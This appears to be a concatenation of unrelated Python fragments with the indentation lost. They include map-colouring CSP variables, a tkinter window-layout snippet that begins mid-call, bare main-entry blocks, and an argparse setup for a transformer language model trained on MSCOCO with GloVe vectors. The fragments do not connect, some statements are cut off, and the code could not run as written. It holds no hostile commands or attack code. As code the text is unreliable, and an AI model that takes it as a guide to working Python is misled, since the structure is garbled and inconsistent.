variables = ['WA', 'NT', 'Q', 'NSW', 'V', 'SA', 'T']
domain = ['R', 'G', 'B']
result = [0] * 7
from main import main
if __name__ == '__main__':
main(mode=1)
font='Helvetica 26 bold',
relief="ridge")
Label2.config(height=2, width=100)
Label2.grid(row=0, column=0)
Label2.pack(fill=X, padx=30, pady=10)
separator = Frame(height=2, bd=1, relief=SUNKEN)
separator.pack(fill=X, padx=30, pady=10)
Button2 = Button(Bottomframe, text="Open File", command=openfile)
Button2.grid(row=10, column=10)
Button2.pack(side=BOTTOM)
w = 1000
h = 420
ws = root.winfo_screenwidth()
hs = root.winfo_screenheight()
x = (ws / 2) - (w / 2)
y = (hs / 2) - (h / 2)
root.geometry('%dx%d+%d+%d' % (w, h, x, y))
root.mainloop()
if __name__ == '__main__':
if len(sys.argv) > 1:
main.main(sys.argv[1], sys.argv[2])
process()
def run(*argv):
import argparse
import time
from utils import Storage
from pathlib import Path
parser = argparse.ArgumentParser(
description='A language model with transformer decoder.')
args = Storage()
parser.add_argument(
'--name',
type=str,
default=None,
help=
'The name of your model, used for tensorboard, etc. Default: runXXXXXX_XXXXXX (initialized by current time)'
)
parser.add_argument('--restore',
type=str,
default=None,
help='Checkpoints name to load. \
"NAME_last" for the last checkpoint of model named NAME. "NAME_best" means the best checkpoint. \
You can also use "last" and "best", by default use last model you run. \
Attention: "NAME_last" and "NAME_best" are not guaranteed to work when 2 models with same name run in the same time. \
"last" and "best" are not guaranteed to work when 2 models run in the same time.\
Default: None (don\'t load anything)')
parser.add_argument('--mode',
type=str,
default="train",
help='"train" or "test". Default: train')
parser.add_argument('--tf_size',
type=int,
default=256,
help='feature size of transformer')
parser.add_argument('--tf_hidden_size',
type=int,
default=512,
help='hidden size of mlp in transformer')
parser.add_argument('--n_heads',
type=int,
default=4,
help='number of heads in transformer')
parser.add_argument('--n_layers',
type=int,
default=5,
help='number of layers in transformer')
parser.add_argument(
'--input_droprate',
type=float,
default=0.1,
help=
'the droprate(the probability to be zeroed) of input embedding in transformer. 0 indicates for don\'t use dropout'
)
parser.add_argument(
'--droprate',
type=float,
default=0.25,
help='The probability to be zeroed. 0 indicates for don\'t use dropout'
)
parser.add_argument('--batch_size',
type=int,
default=256,
help='number of sample in a batch')
parser.add_argument(
'--decode_mode',
type=str,
choices=['max', 'sample', 'gumbel', 'samplek', 'beam'],
default='samplek',
help=
'The decode strategy when freerun. Choices: max, sample, gumbel(=sample), \
samplek(sample from topk), beam(beamsearch). Default: samplek')
parser.add_argument(
'--top_k',
type=int,
default=10,
help='The top_k when decode_mode == "beam" or "samplek"')
parser.add_argument(
'--length_penalty',
type=float,
default=0.7,
help=
'The beamsearch penalty for short sentences. The penalty will get larger when this becomes smaller.'
)
parser.add_argument('--temperature', type=float, default=1)
parser.add_argument(
'--dataid',
type=str,
default='resources://MSCOCO',
help='Directory for data set. Default: resources://MSCOCO')
parser.add_argument('--epoch',
type=int,
default=100,
help="Epoch for training. Default: 100")
parser.add_argument('--batch_per_epoch',
type=int,
default=500,
help="Batches per epoch. Default: 500")
parser.add_argument(
'--wvid',
type=str,
default="resources://Glove300d",
help=
"Directory for pretrained wordvector. Default: resources://Glove300d")
parser.add_argument(
'--out_dir',
type=str,
default="./output",
help='Output directory for test output. Default: ./output')
parser.add_argument(
'--log_dir',
type=str,
default="./tensorboard",
help='Log directory for tensorboard. Default: ./tensorboard')
parser.add_argument(
'--model_dir',
type=str,
default="./model",
help='Checkpoints directory for model. Default: ./model')
parser.add_argument(
'--cache_dir',
type=str,
default="./cache",
help='Checkpoints directory for cache. Default: ./cache')
parser.add_argument('--cpu', action="store_true", help='Use cpu.')
parser.add_argument('--debug',
action='store_true',
help='Enter debug mode (using ptvsd).')
parser.add_argument(
'--cache',
action='store_true',
help=
'Use cache for speeding up load data and wordvec. (It may cause problems when you switch dataset.)'
)
parser.add_argument('--seed',
type=int,
default=0,
help='Specify random seed. Default: 0')
parser.add_argument('--lr',
type=float,
default=1e-3,
help='Learning rate. Default: 0.001')
cargs = parser.parse_args(argv)
# general setting
args.name = cargs.name or time.strftime("run%Y%m%d_%H%M%S",
time.localtime())
args.restore = cargs.restore
args.mode = cargs.mode
args.out_dir = cargs.out_dir
args.log_dir = cargs.log_dir
args.model_dir = cargs.model_dir
args.cache_dir = cargs.cache_dir
args.debug = cargs.debug
args.cache = cargs.cache
args.cuda = not cargs.cpu
## dataset settings
args.dataid = cargs.dataid
args.tokenizer = "space"
args.max_sent_length = 50
args.convert_to_lower_letter = False
args.min_frequent_vocab_times = 10
args.min_rare_vocab_times = 0
args.wvid = cargs.wvid
## training settings
args.epochs = cargs.epoch
args.lr = cargs.lr
args.batch_size = 128
args.batch_num_per_gradient = 1
args.grad_clip = 5
args.show_sample = [0] # show which batch when evaluating at tensorboard
args.checkpoint_steps = 20
args.checkpoint_max_to_keep = 5
## arguments for restoring checkpoints
args.restore_optimizer = True
load_exclude_set = []
restoreCallback = None
## architecture settings
args.batch_per_epoch = cargs.batch_per_epoch
args.embedding_size = 300
args.tf_size = cargs.tf_size
args.tf_hidden_size = cargs.tf_hidden_size
args.n_heads = cargs.n_heads
args.n_layers = cargs.n_layers
args.input_droprate = cargs.input_droprate
args.droprate = cargs.droprate
## decoding settings
args.decode_mode = cargs.decode_mode
args.top_k = cargs.top_k
args.length_penalty = cargs.length_penalty
args.temperature = cargs.temperature
## random seed
args.seed = cargs.seed
import random
random.seed(cargs.seed)
import torch
torch.manual_seed(cargs.seed)
import numpy as np
np.random.seed(cargs.seed)
from main import main
return main(args, load_exclude_set, restoreCallback)